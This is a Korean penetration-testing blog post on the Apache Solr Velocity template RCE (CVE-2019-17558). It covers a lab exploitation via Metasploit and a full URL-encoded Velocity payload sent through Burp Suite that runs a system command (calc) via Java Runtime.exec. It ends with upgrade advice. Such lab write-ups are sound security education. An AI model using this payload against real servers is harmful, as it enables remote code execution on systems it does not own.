Hacking/System

[모의 침투] Apache Solr RCE 취약점(CVE-2019-17558)

Gom_Po 2025. 6. 5. 17:56

Apache Solr란?

Apache Solr는 Apache Lucene을 기반으로 만들어진 검색 엔진으로 특정 형식의 XML 파일을 서버에 업로드하여 인덱스를 생성하거나 검색 요청을 하여 결과를 XML 형식으로 얻을 수 있는 엔진

CVE-2019-17558 취약점

이 취약점은 Apache Solr에서 발견된 RCE(Remote Code Execution) 취약점으로 Apache Solr에서 Velocity Response Writer(Solr 플로그인)의 "parms.resource.loader"의 값이 "True"로 설정되어 있는 경우 RCE 공격이 가능한 취약점

영향을 받는 소프트웨어

구분 영향을 받는 소프트웨어
1
Apache Solr 5.0.0 ~ 8.3.1

 

환경 구축

구분 버전 정보
공격자 PC Kali Linux 2022
희생자 PC Windows 10
Apache Solr solr-spec 5.3.1

 

테스트 현황 (Metasploit)

포트 스캔 시 피해자 PC에서 Apache Solr가 동작하고 있는 것을 확인 가능

 

Metasploit에서 Apache Solr 취약점 중 하나인 CVE-2019-17558 도구가 존재하는 것을 확인

 

Options 값을 설정 시 공격자 PC가 Windows이기 때문에 "target"을 Windows로 설정 후 CMD 값에 "clac" 명령어 실행하라는 옵션 설정

 

option 값 설정 후 해당 Apache Solr에 취약점 존재 유무 확인을 위해 "check" 명령어 전송 시 취약한 Core가 존재하는 것을 확인 가능

 

Exploit 시 피해자 PC에서 계산기가 실행되는 것을 확인 가능함

 

테스트 현황 (BurpSuite)

Burp Suite를 통한 테스트 진행 시 아래 POC 코드를 통해 실행

 
/solr/[취약한 Core명]/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($a=%27%27)+%23set($rt=$a.class.forName(%27java.lang.Runtime%27))+%23set($chr=$a.class.forName(%27java.lang.Character%27))+%23set($str=$a.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

취약한 Core에 POC 코드 삽입 시 계산기가 올라오는 것을 확인 가능

 

대응 방안

- Apache Solr 8.4.0 이상을 사용할 것을 권고